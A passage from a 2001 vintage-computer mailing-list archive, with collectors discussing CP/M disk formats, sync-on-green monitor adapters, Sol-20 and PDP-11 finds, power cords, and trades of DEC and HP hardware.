even read FAT. Commodore CP/M 3.0 disks are natively GCR to allow them to boot from a 1541 as well. However, Commodore CP/M 3.0 is kind of pointless without a 1571 -- with it you have access to the whole CP/M software library in native formats like Kaypro and others. CP/M 2.2 for the 64 is GCR only and requires that dumb and flaky Z80 CPU cartridge. Avoid. Use Commodore CP/M Plus 3.0 on the 128 and you'll love life better. :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Funk is its own reward. -- George Clinton ---------------------------------- From Demon02554 at aol.com Sun Jun 10 15:42:06 2001 From: Demon02554 at aol.com (Demon02554@aol.com) Date: Sun Feb 27 19:04:22 2005 Subject: OT: PC AGP slots Message-ID: <69.16841fbb.2855359e@aol.com> i had a similar problem to this i have a PII/400 and an ATI Rage Fury Maxx everytime i tried to use any special functions of the graphics card, my computer froze... From vaxcat at retrocomputing.com Sun Jun 10 15:45:03 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:22 2005 Subject: Trade for CP/M 2.2 disks and manual for Heath/Zenith In-Reply-To: References: Message-ID: I found another yummy in the closet. It's the original ring binder, in fairly good condition (no tears or rips), containing the documentation and original diskettes for CP/M 2.2 for Heath/Zenith computers. I'm assuming it's for the H89. It even has the original software license agreement, some addenda and the Heath/Zenith insert in the front cover. And here's my wish list of some things I'd like to trade for: - Keyboard and Mouse for Mac Plus - AppleCat Modem - NetBSD complete and ready to install on my MicroVax II on TK50s (I'll provide the TK50s if necessary) I'm not sure of the value of what I have to offer equals the value of what I'm asking for but, if not, I'm completely open to offers. I'm also open to trades for green paper with past executive branch electees. =) Thanks... Anthony Clifton Des Moines, Iowa From healyzh at aracnet.com Sun Jun 10 16:39:34 2001 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 19:04:22 2005 Subject: OT: PC AGP slots In-Reply-To: References: Message-ID: >You should have basic functionality, but a 333 won't move the data back and >forth to a Radeon fast enough to allow much more than 50% of its normal >speed, ie worthless for video capture, games, etc. unless lots of features >are turned off. Given the $200+ street price of the all in wonder Radeon >(there is a $30 rebate at "featured" retailers right now though) you really >should put it into a decent newer motherboard. I would NOT buy a hot video >card now, then upgrade the motherboard etc. later, just a waste of money >given the new models of hot video cards will be out in the fall. Most >likely you would get more performance out of a $200 motherboard/cpu upgrade >and a cheap $75 Radeon LE. Hmmm, I'd think it could pump out data fast enough to display on the TV which is what I'm wanting it to do. I wish I could find out more about the "Book PC's" as they look perfect for what I've in mind since they've built in TV out, but I suspect that MAME will not like them. Besides the ATI All-in-Wonder Radeon card has some really cool Video Recorder features, that apparently allow it to function like a TiVo. Zane -- | Zane H. Healy | UNIX Systems Administrator | | healyzh@aracnet.com (primary) | OpenVMS Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Sun Jun 10 17:02:01 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:22 2005 Subject: Uniform (?) for Kaypro 2 In-Reply-To: Message-ID: On Sun, 10 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > > Oops. Ok, what I meant was that my C128 can read Kaypro but, if memory > servers, not Osborne and other useful formats. > > However, upon further consideration, maybe my best bet would be simply > to put 22disk on a pc box with a nice old disk controller and just use it to > do conversions. =) Only if your Osborne disks are SSDD or your PC FDC is capable of single density (FM). - don > In either case, I'm sure I'm boring the list with my mental meanderings. > > ;) > > Anthony Clifton > Des Moines, Iowa > > >>It's possible my memory is corrupt. (Or maybe just my mind! =) > > > > You're correct...I've got the DOS version of Uniform running > >on my IBM 5155. > > > >>At any rate, can anyone provide me a copy? It'll make it easier to > >>convert stuff on my Osborne diskettes to something my C128 can > >>read. > > > > I don't believe Uniform will do C128 disks as, if I remember > >correctly, they used GCR for the encoding. I know it will do Osborne > >and a host of other's though. > > > > Jeff > >-- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 > > > > From SPEDRAJA at mail.ono.es Sun Jun 10 18:15:08 2001 From: SPEDRAJA at mail.ono.es (SP) Date: Sun Feb 27 19:04:22 2005 Subject: DEC Searchings References: <200106101758.MAA26294@opal.tseinc.com> Message-ID: <000e01c0f203$357297e0$0100a8c0@zeus> Hello from Spain. I give all of you a little list of DEC old items I'm searching actually: * VT100\VT102 terminals (until FOUR) with cables. * VT52 terminals (until FOUR) with cables. * TU58 tape unit with cables. * External tabletop DEC rack or support structure for 19" items. * RX02 disquette units cabinet with two disquette units + controller + cables * RL01/02 disk unit (TWO) + controller + cables * One paper tape reader/puncher * One card reader/puncher * One LA100 or similar terminal/printer In CPU's chapter... * One VAX-11 of little size, with disk and tape unit (and even better with diskette unit(s) ). * One PDP-8 cpu minimally operative * One UNIBUS PDP system minimally operative. If somebody has this items in Europe and with 220 volts power supply unit it would be better. With spanish keyboard it would be wonderful, but not imprescindible. I know about shipping cost matters, but is not neccesary to locate and ship all items at same time, etc. You can contact in my e-mail address. Thanks for all and best regards ---------- Sergio Pedraja Santander Spain ---------- mailto: spedraja@ono.com ---------- From rhblake at bigfoot.com Sun Jun 10 17:13:28 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:22 2005 Subject: Books on ebay Message-ID: Have a set of 8 really good TAB books that are part of my "collection" that are going together in one lot.... http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=1245390182 From elf at ucsd.edu Sun Jun 10 18:28:34 2001 From: elf at ucsd.edu (Eric) Date: Sun Feb 27 19:04:22 2005 Subject: Intecolor Updated Request Message-ID: <3.0.6.32.20010610162834.0094b070@popmail.ucsd.edu> Previously you wrote: [Sat, 9 Jun 2001 19:11:15 -0500] >The ISC Intecolor 8001 is missing the power cable (which is a funky >connector I can't >seem to locate a cord for) and the fuse holder and fuse, which I can't >identify. You can see the power connector in the lower left and the fuse >holder in the lower right. > >http://asp1.secure-shopping.com/aclifton/intecolor.back.jpg > >If anyone can help me locate or can provide the correct power cable, fuse >holder >and fuse for it (assuming it's not a standard fuse type), I would be GREATLY >appreciative. I'm prepared to pay money for them as I'd really >like to have this unit going in it's original condition. > Such the coincidence -- for the last few weeks I've been searching for this exact power cord -- and now, just this week, I can say I am the proud owner of one brand new, black, 12' power cable manufactured by Electri-Cord. (...you know how it is -- you're searching for something real mundane -- thinking you'll find it in the first place you look. After multiple failed attempts, and before you know it, you're on a mission to find what has become anything but mundane - and more like the crown jewel of your collection. Passionate about a power cord? ...but you don't understand - this isn't just "any" power cord! :P) I recently added a Computer Devices, Inc. Miniterm 1203a portable printing terminal to my collection -- and sho 'nuff -- when it arrived -- no power cable. If you need one - contact me off list & I'll see if they're still available (I believe they are.) Eric F. From foo at siconic.com Sun Jun 10 17:48:46 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:22 2005 Subject: SOL-20 and eBay In-Reply-To: Message-ID: On Sat, 9 Jun 2001, Jeff Hellige wrote: > Well, tonight a SOL-20 with Helios disk system was put up for > sale and within two hours of the seller placing the listing, it was > bought for $750 with the 'buy it now' option. No biggie, other than He certainly got a good deal. I say it's a fair real-world price too. > the buyer was the seller that was discussed here a few weeks ago > concerning the Mark-8 kit, as well as the seller of another SOL-20 > that recently sold for $1375.00. This machine had a North Star disk > controller and two 16k RAM boards, and that was it. He also recently > sold an IMSAI 8080. > > Anyone want to place odds as to what SOL and/or Helios disk > system will appear on eBay once again in the near future, but with a > higher reserve? A capitalist. I wish I wasn't so ambitious or else I'd just make my money this way too. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Sun Jun 10 17:52:50 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:22 2005 Subject: All states have had tornadoes, some just more than others In-Reply-To: Message-ID: On Sun, 10 Jun 2001, McFadden, Mike wrote: > I tried to tour the place during an open house but the line was 1/2 > mile long. There's not much to do out there, I reckon ;) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From lemay at cs.umn.edu Sun Jun 10 18:56:38 2001 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 19:04:22 2005 Subject: Intecolor Updated Request In-Reply-To: <3.0.6.32.20010610162834.0094b070@popmail.ucsd.edu> "from Eric at Jun 10, 2001 04:28:34 pm" Message-ID: <200106102356.SAA09642@caesar.cs.umn.edu> I think I picked up one or two of these power cables last year, they are definitely old and used. I'll see if I can find them on Monday. They are used on Teleray terminals, a Modem tester (with Nixie Tube display) that I have, etc. -Lawrence LeMay > Previously you wrote: [Sat, 9 Jun 2001 19:11:15 -0500] > > >The ISC Intecolor 8001 is missing the power cable (which is a funky > >connector I can't > >seem to locate a cord for) and the fuse holder and fuse, which I can't > >identify. You can see the power connector in the lower left and the fuse > >holder in the lower right. > > > >http://asp1.secure-shopping.com/aclifton/intecolor.back.jpg > > > >If anyone can help me locate or can provide the correct power cable, fuse > >holder > >and fuse for it (assuming it's not a standard fuse type), I would be GREATLY > >appreciative. I'm prepared to pay money for them as I'd really > >like to have this unit going in it's original condition. > > > > > Such the coincidence -- for the last few weeks I've been searching for this > exact power cord -- and now, just this week, I can say I am the proud owner > of one brand new, black, 12' power cable manufactured by Electri-Cord. > > (...you know how it is -- you're searching for something real mundane -- > thinking you'll find it in the first place you look. After multiple failed > attempts, and before you know it, you're on a mission to find what has > become anything but mundane - and more like the crown jewel of your > collection. Passionate about a power cord? ...but you don't understand - > this isn't just "any" power cord! :P) > > I recently added a Computer Devices, Inc. Miniterm 1203a portable printing > terminal to my collection -- and sho 'nuff -- when it arrived -- no power > cable. > > If you need one - contact me off list & I'll see if they're still available > (I believe they are.) > > Eric F. > > > From cmcmanis at mcmanis.com Sun Jun 10 19:43:35 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:22 2005 Subject: Jay West? Message-ID: <5.0.0.25.2.20010610174246.0307aa20@209.185.79.193> Hi, sorry to waste bandwidth here. Jay did you get my email re the HP Extender? I've not heard anything .... --Chuck From optimus at canit.se Sun Jun 10 20:06:11 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:22 2005 Subject: Wanted: Luxor ABC80 In-Reply-To: Message-ID: <337.562T550T1264003optimus@canit.se> Ernest skrev: >I'm looking for a Luxor ABC80 computer if anyone has one to sell or trade >for. I've got an ABC-800, but lacking a monitor, so I haven't been able to test it yet. =) -- En ligne avec Thor 2.6a. Alle meine Noten bringen mich nicht aus den N?ten, und ich schreibe noten ?berhaupt nur aus N?ten. --- Ludwig van Beethoven From jss at ou.edu Sun Jun 10 20:30:21 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:22 2005 Subject: Talking 'bout shakin & quakin In-Reply-To: <01060910122100.02883@pluto.joules.org> References: <01060910122100.02883@pluto.joules.org> Message-ID: <992223021.3b241f2d76ae5@email.ou.edu> Quoting Peter Joules : > these things cause tragedy for many people, and should probably > not be perceived as fun. They can be fun. When we had our big 'May 3rd' tornado in 1999 (which I believe was one of the biggest in history), I was glued to the television. It was *fun* to watch. Of course, going to the cellar later on was not... :-) -- Jeffrey S. Sharp jss@ou.edu From jpero at sympatico.ca Sun Jun 10 16:38:50 2001 From: jpero at sympatico.ca (jpero@sympatico.ca) Date: Sun Feb 27 19:04:22 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <000d01c0f1ec$eb6032e0$9cc762d8@idcomm.com> Message-ID: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Hi! This is getting frustrating. This is fairly on topic because I run older Macs (1987 to 1991, and many nubus video cards) that does not have native separate syncs by design. I'm using a very dim Mac high resolution monitor. If adjusted brighter, it will lose sharpness. It's already adjusted perfectly and this doesn't helped. That's bad tube, caps that I can check with my ESR are replaced already. This is killing my eyes staring at that dim monitor bought about this thinking to solve that problem because finding decent monitors with sync on green and composite features that does have good tube is getting harder to find. I do have a semi-working Nec 3D but tube is real small! And at other extreme, I have 20" Nec monitor but I'm not gonna drag that thing here. HUGE and power hungry. Except I have this dead 17" with all this features is IDEK Liyama waiting for schematic but that will be long awhile till I have money. The important details I need is fusiable resistors, they blew and cooked off the numbers completely. But I might have one or two monitors I might able to extract certain IC to split the sync out to drive a peecee monitors which are in plenty around here. Otherwise if there a way to build that thing from scratch is nice. Cheers, Wizard From jss at ou.edu Sun Jun 10 20:47:33 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:22 2005 Subject: Huge PDP-11 rescue opportunity In-Reply-To: <3B238235.101F49C4@bellsouth.net> References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> Message-ID: <992224053.3b242335e2b73@email.ou.edu> Quoting Doug Carman : > Not long ago I ran into some of these ATEX systems when the > Orlando paper replaced their prepress systems. ... Although the > racks looked like late PDP or VAXish cabinets and the CPU front > panel looked much like an 11/84, any other resemblance to real DEC > PDP-11's stopped there. Well, to me, these are still good machines to rescue. Even if you throw away the custom Atex cards, they are machines that still act like PDP-11s. Maybe those upgrade CPU cards would be useful to someone. Add in the rack cabinets and Kennedy 9100 and it seems worth the $100 to me. > The systems are arranged in a kind of parallel processing scheme > where two of the CPU's dispatch work to all the others via a > custom network between CPU's. That appears to be the same kind of setup they have. So far, there have only been a few people wanting a CPU card or two. No one has come out wanting to take the whole load like the owners want. Maybe I have overestimated their desirability. -- Jeffrey S. Sharp jss@ou.edu From fernande at internet1.net Sun Jun 10 21:31:14 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:22 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> <992224053.3b242335e2b73@email.ou.edu> Message-ID: <3B242D72.85D645C7@internet1.net> They are on the wrong side of the country as are all computers, it seems. I live in Michigan, and all computers I see on EBay, or hear about in ClassicCMP are in Florida, California, or Pennsylvania. Sometimes another states in the East. So far the only exception has been my PDP11 in a BA23 chassis. It was in Indiana, about an hours drive from work. Oh well, I have plenty here already that needs to be tended too. Chad Fernandez Michigan, USA "Jeffrey S. Sharp" wrote: > > Quoting Doug Carman : > > Not long ago I ran into some of these ATEX systems when the > > Orlando paper replaced their prepress systems. ... Although the > > racks looked like late PDP or VAXish cabinets and the CPU front > > panel looked much like an 11/84, any other resemblance to real DEC > > PDP-11's stopped there. > > Well, to me, these are still good machines to rescue. Even if you > throw away the custom Atex cards, they are machines that still act > like PDP-11s. Maybe those upgrade CPU cards would be useful to > someone. Add in the rack cabinets and Kennedy 9100 and it seems > worth the $100 to me. > > > The systems are arranged in a kind of parallel processing scheme > > where two of the CPU's dispatch work to all the others via a > > custom network between CPU's. > > That appears to be the same kind of setup they have. > > So far, there have only been a few people wanting a CPU card or two. > No one has come out wanting to take the whole load like the owners > want. Maybe I have overestimated their desirability. > > -- > Jeffrey S. Sharp > jss@ou.edu From frustum at pacbell.net Sun Jun 10 23:14:39 2001 From: frustum at pacbell.net (Jim Battle) Date: Sun Feb 27 19:04:22 2005 Subject: sol-20 + Helios II system score, plus plea Message-ID: <4.3.2.7.0.20010610205131.00b9c200@postoffice.pacbell.net> Well, sometimes great things just happen when you aren't looking. Friday night I got an email from a woman who lives 10 minutes from me. She was moving and had a Sol-20 with a Helios II disk system and would I want to take it? Needless to say, I did. I'm a happy guy. Well, I was before I got it, so maybe I should say even happier guy. There are two problems: although she had about 8 8" floppies, only one of them appears to be hard-sectored, which I think the helios system was. Second, although there is a very nice persci manual, the manual containing the technical information (programming, schematics, theory of operation) for the two-board disk controller wasn't to be found. So, a few pleas: 1) Does anybody have the technical docs for the P.T. disk controller for the Helios system? 2) Does anybody have any disks images for the Helios? Any disks? Bob Stek was kind enough to supply me with a copy of a listing of the source code for PT-DOS, but OCR'ing and correcting over 200 pages of source code in a very small font might be too much to take on. 3) What should I do with my one disk that might work with this system? 3a) Just try and boot off of it 3b) Try to tune up the persci disk (and maybe make it worse) then boot the disk 3c) Find a service that specializes in recovering data from old disks On 3a, I'm discouraged from doing this as the cabinet is full of dust and spider carcasses. If I do a thorough job cleaning, then perhaps as long as I'm there I should adjust things. On 3b, has anybody done this (back in the day)? Is it for mere mortals, or does it really require special skills to prevent making things even worse? On 3c, does anybody know how much that costs for doing just one disk? Ten disks? Are there any risks of the disk getting trashed? My ultimate hope is to get PT-DOS running on Solace. I know it is a pain to dig out old docs, but if you have them, please contact me and I'll try to work out something with you to make it worth the effort. (BTW, a few weeks ago I updated Solace to fix a few bugs and add a few minor features -- it is at version 2.3 now: http://www.thebattles.net/sol20/sol.html http://www.thebattles.net/sol20/solace/solace.html ) Thanks. ----- Jim Battle == frustum@pacbell.net From jss at ou.edu Mon Jun 11 00:01:22 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:22 2005 Subject: Huge PDP-11 rescue opportunity In-Reply-To: <3B242D72.85D645C7@internet1.net> References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> <992224053.3b242335e2b73@email.ou.edu> <3B242D72.85D645C7@internet1.net> Message-ID: <992235682.3b2450a295c20@email.ou.edu> Quoting Chad Fernandez : > They are on the wrong side of the country as are all computers, > it seems. I *know*! I mean, c'mon, Oklahoma's supposed to be technologically behind; you'd think there would be a whole load of PDP-11s being decommisioned daily. But no... -- Jeffrey S. Sharp jss@ou.edu From jweder at telusplanet.com Mon Jun 11 00:07:42 2001 From: jweder at telusplanet.com (Joel Weder) Date: Sun Feb 27 19:04:22 2005 Subject: IMSAI EPROMs In-Reply-To: <200106091717.MAA17745@opal.tseinc.com> Message-ID: Thanks to everybody who's replied about how to read these EPROMs. I'll likely be contacting somebody within a couple of weeks to get it done, or I MIGHT get crazy and buy a Data I/O 29B burner (tho I'm not feeling all that wealthy right now!) I like Dick's idea of modifying the board for 2716's after getting the data read out of the 2708's mind you... It'll be interesting to see what's on these dang things. I have an idea one program might be some kind of ham radio software, as I just found some pencilled notes about AFSK and CW outputs to one of the ports. Sure be nice to find BASIC! Joel A. Weder jweder@telusplanet.net 403-556-4020 From jweder at telusplanet.com Mon Jun 11 00:12:48 2001 From: jweder at telusplanet.com (Joel Weder) Date: Sun Feb 27 19:04:22 2005 Subject: IMSAI EPROMs In-Reply-To: <200106101758.MAA26294@opal.tseinc.com> Message-ID: Tony... Even better idea! Yeah, I was a bit bothered by the idea of hacking this nicely built Godbout EconoROM board. Might just try your idea, though not THIS month! Life is too dang busy! (sigh) Joel A. Weder jweder@telusplanet.net 403-556-4020 From fernande at internet1.net Mon Jun 11 01:28:08 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:22 2005 Subject: Huge PDP-11 rescue opportunity References: <991967553.3b20394186926@email.ou.edu> <3B238235.101F49C4@bellsouth.net> <992224053.3b242335e2b73@email.ou.edu> <3B242D72.85D645C7@internet1.net> <992235682.3b2450a295c20@email.ou.edu> Message-ID: <3B2464F8.12D972BD@internet1.net> I think they are still decommissioning rocks here. Chad Fernandez Michigan, USA "Jeffrey S. Sharp" wrote: > > Quoting Chad Fernandez : > > They are on the wrong side of the country as are all computers, > > it seems. > > I *know*! I mean, c'mon, Oklahoma's supposed to be technologically > behind; you'd think there would be a whole load of PDP-11s being > decommisioned daily. But no... > > -- > Jeffrey S. Sharp > jss@ou.edu From jkunz at unixag-kl.fh-kl.de Mon Jun 11 02:49:46 2001 From: jkunz at unixag-kl.fh-kl.de (jkunz@unixag-kl.fh-kl.de) Date: Sun Feb 27 19:04:22 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Message-ID: <200106110749.JAA01541@unixag-kl.fh-kl.de> On 10 Jun, jpero@sympatico.ca wrote: > But I might have one or two monitors I might able to extract certain > IC to split the sync out to drive a peecee monitors which are in > plenty around here. > > Otherwise if there a way to build that thing from scratch is nice. You can use a LM1881 to separate syncs from the green signal. Have a look at the natsemi web site: http://www.national.com/search/search.cgi/main?keywords=lm1881&GO.x=8&GO.y=8 At the other side: Most modern PeeCee monitors can do sync on green. But have a look into the manual bevore you by... -- tsch??, Jochen Homepage: http://www.unixag-kl.fh-kl.de/~jkunz/ From fernande at internet1.net Mon Jun 11 03:37:17 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:22 2005 Subject: 2 FREE qbus boards Message-ID: <3B24833D.D4F7E900@internet1.net> Hello, Anybody want a KDF11-B (M8189), or a M7165 (1/2 of a 2 board set)? They are yours for shipping. Chad Fernandez Michigan, USA From mikeford at socal.rr.com Mon Jun 11 03:23:56 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:22 2005 Subject: OT: PC AGP slots In-Reply-To: <69.16841fbb.2855359e@aol.com> Message-ID: >i had a similar problem to this >i have a PII/400 and an ATI Rage Fury Maxx >everytime i tried to use any special functions of the graphics card, my >computer froze... That sounds more like a conflict or driver issue to me. Normally when the transfer runs out of juice the frame rate etc. just drop. From mikeford at socal.rr.com Mon Jun 11 03:44:26 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:22 2005 Subject: sync on green to horizontal and vertical wiring seperator. In-Reply-To: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> References: <000d01c0f1ec$eb6032e0$9cc762d8@idcomm.com> Message-ID: >This is getting frustrating. > >This is fairly on topic because I run older Macs (1987 to 1991, and >many nubus video cards) that does not have native separate syncs by I finally in just the last 6 months or so have bought a couple real Griffin Technology mac video adapters, and it is just so sweet to be able to plug a monitor in and have it work right off. The only other adapter I have that comes close is some old Belkin with a dial, but it isn't 100% all the time and so far the Griffin is. From edick at idcomm.com Mon Jun 11 04:20:14 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:22 2005 Subject: sync on green to horizontal and vertical wiring seperator. References: <20010611013627.QUBP20074.tomts8-srv.bellnexxia.net@duron> Message-ID: <002401c0f257$b9103ea0$9cc762d8@idcomm.com> The place to look for the signals isn't in the monitor, but on the video generation circuitry. If there's a horizontal and vertical sync available anywhere in your video generation circuitry, you'll want to measure their durations and frequencies, as well as polarity. There may not be separate sync at all if it's generated as composite sync in some specialized IC. That's adequate for sync-on green, but if you want to attach a PC monitor you'll have to go to some trouble. You can generate the negative-going sync most easily by using a negative supply. If you use a current mirror controlled current sink that pulls the 75-ohm resistance to ground down by half a volt or maybe 3/4 volt, and then use a diff-amp made from a couple of transistors to switch the sync on and off, you can get negative sync from one transistor or the other's collector. Clamp the base of one (depending on the polarity of your sync) to gnd with a schottky with about 0.3 volts forward voltage, and limit the current at that base with yet another transistor also controlled by the current mirror, such that the voltage at the base of these transistors ranges from as high as the clamp will allow, to about the same amount below gnd, by limiting the current from the sync signal, with a resistor, typically 1K-ohms. attach the appropriate transistor in the diff-amp to the green video. Set the current in the transistor that sinks the current from the diff-amp to such that the sync voltage is about half a volt below ground. If you need more details, let me know. I normally use VERY fast transistors in a 5-transistor array (CA3127/3227) to do all this. A CA3183 would probably also do the job, but I like the sharp edges the UHF array produces. Dick ----- Original Message ----- From: To: Sent: Sunday, June 10, 2001 3:38 PM Subject: sync on green to horizontal and vertical wiring seperator. > Hi! > > This is getting frustrating. > > This is fairly on topic because I run older Macs (1987 to 1991, and > many nubus video cards) that does not have native separate syncs by > design. I'm using a very dim Mac high resolution monitor. If > adjusted brighter, it will lose sharpness. It's already adjusted > perfectly and this doesn't helped. That's bad tube, caps that I can > check with my ESR are replaced already. > > This is killing my eyes staring at that dim monitor bought about this > thinking to solve that problem because finding decent monitors with > sync on green and composite features that does have good tube is > getting harder to find. I do have a semi-working Nec 3D but tube is > real small! And at other extreme, I have 20" Nec monitor but I'm not > gonna drag that thing here. HUGE and power hungry. > > Except I have this dead 17" with all this features is IDEK Liyama > waiting for schematic but that will be long awhile till I have money. > The important details I need is fusiable resistors, they blew and > cooked off the numbers completely. > > But I might have one or two monitors I might able to extract certain > IC to split the sync out to drive a peecee monitors which are in > plenty around here. > > Otherwise if there a way to build that thing from scratch is nice. > > Cheers, > > Wizard > > From cmurillo at emtelsa.multi.net.co Mon Jun 11 05:46:31 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:22 2005 Subject: Talking 'bout shakin & quakin (was Re: Storage of computer and parts in the residential area) In-Reply-To: References: Message-ID: <3.0.2.32.20010611064631.00e50968@obregon.multi.net.co> At 10:46 PM 6/8/01 -0700, you wrote: >The episode also immediately exposed the California natives (we're the ones >who stood around watching the waves in the floor while drinking coffee and >eyeing the nearest desks and doorways) and the non-natives (who went >screaming >out of the building). In my experience, the more "seasoned" the observers are, the more panic they'll experience. Some of the most quake-paranoid people I have seen are Mexico-Citiers and colombians in the central coffee-growing region. But they've been through 10K+ death tolls... carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From dhquebbeman at theestopinalgroup.com Mon Jun 11 06:44:48 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: IRC Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151103@jeffserver.tegjeff.com> > There's been a discussion of labour/management relations on Rovernet, and > this has led to the Industrial Recovery Corporation. > > Does anyone know if the IRC meddled with the British computer industry, > as they did with the motor industry? Funny... just yesterday, my computing history research took me to Britain; I found the National Archive of Computing History or somtthing like that at Manchester University (and it didn't have a history of computing at Manchester, which was what I was personally looking for), but it did have an interesting online exhibit, and pointers to archives. The URL is stuck in my browser at home, but it shouldn't be too hard to find using Google. Regards, -dq From cmurillo at emtelsa.multi.net.co Mon Jun 11 05:33:55 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:22 2005 Subject: storing gear and businesses and so on In-Reply-To: References: Message-ID: <3.0.2.32.20010611063355.00ecd570@obregon.multi.net.co> At 05:41 PM 6/8/01 -0500, you wrote: >I had a PC power supply so >noisy that it made my X10 devices sporatically go on/off/dim/etc. Put a >filtered input on for the power cord (scrapped from a Mac) and no more noise >on the line and my TV even got better reception (no cable here and sat was >new stuff then). I'm surprised... it would have had to generate substantial 120KHz harmonics in the 120VAC side to do this. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From dhquebbeman at theestopinalgroup.com Mon Jun 11 07:47:34 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: Intecolor Updated Request Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151106@jeffserver.tegjeff.com> > >The ISC Intecolor 8001 is missing the power cable (which is a funky connector I can't > >seem to locate a cord for) and the fuse holder and fuse, which I can't > >identify. You can see the power connector in the lower left and the fuse > >holder in the lower right. > > > >http://asp1.secure-shopping.com/aclifton/intecolor.back.jpg > > > >If anyone can help me locate or can provide the correct power cable, fuse holder > >and fuse for it (assuming it's not a standard fuse type), I would be GREATLY > >appreciative. I'm prepared to pay money for them as I'd really > >like to have this unit going in it's original condition. > > Such the coincidence -- for the last few weeks I've been searching for this > exact power cord -- and now, just this week, I can say I am the proud owner > of one brand new, black, 12' power cable manufactured by Electri-Cord. These power cords used to be typical on stereo equipment. I've got a Sony reel-to-reel recorder that uses one, and also a really old video monitor. Plus, one of my Silent 700s uses this kind of power cord. A store that sells accessories for home appliances might be a good place to check. Regards, -dq From dhquebbeman at theestopinalgroup.com Mon Jun 11 07:52:42 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:22 2005 Subject: Intecolor Updated Request Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151107@jeffserver.tegjeff.com> > I think I picked up one or two of these power cables last year, they are > definitely old and used. I'll see if I can find them on Monday. > > They are used on Teleray terminals, a Modem tester (with Nixie Tube display) > that I have, etc. Ah, Teleray... I remember these well from my Prime days (they were the only CRT-based terminals we had, everything else was a DECwriter). A sales representative came to our site (we were the Computing Services for the local public school corp), and we explained that since students would be among the users of these terminals, they'd have to be pretty sturdy. Well, we're up on the second floor of this building. The sale droid pulls out a screwdriver, removes the Teleray metal cover (almost all metal boxes IIRC), pulls the CRT and yoke harness, sets them aside, puts the cover back on, and *kicks* it down two flights of stairs. He brought it back up,removed the cover again, replaced the CRT & yoke assembly, put the cover back on, hooked it up, and it worked! "Sold" said my boss... Regards, -dq From stefan at softhome.net Mon Jun 11 07:56:15 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:22 2005 Subject: DECStation 88 Message-ID: <5.0.2.1.0.20010611145330.00aafd20@145.218.23.191> Hi, I was looking for information and possibly a picture of the DECStation 88. Because I have located one in a not too good state, it was outside, but I still want to pick it up anyway, because you never know if something might still work. Anyway, can anybody suply me with any information ? Thanks. Stefan. From engdahl at cle.ab.com Mon Jun 11 09:36:57 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:22 2005 Subject: Need documentation on a 2114B HP Computer References: Message-ID: <008101c0f283$f7d14ae0$614099a1@rcs.ra.rockwell.com> I have this: A Pocket Guide to Hewlett Packard Computers (early/mid '70s?) covering the 2116B, 2115A, and 2114A sections: Specifications and Basic Operation Manual Assembler Reference Manual Basic Control System Reference Manual Fortran Reference Manual Program Library Reference Manual BASIC Language Reference Manual I'm willing to part with it, since I didn't like that machine 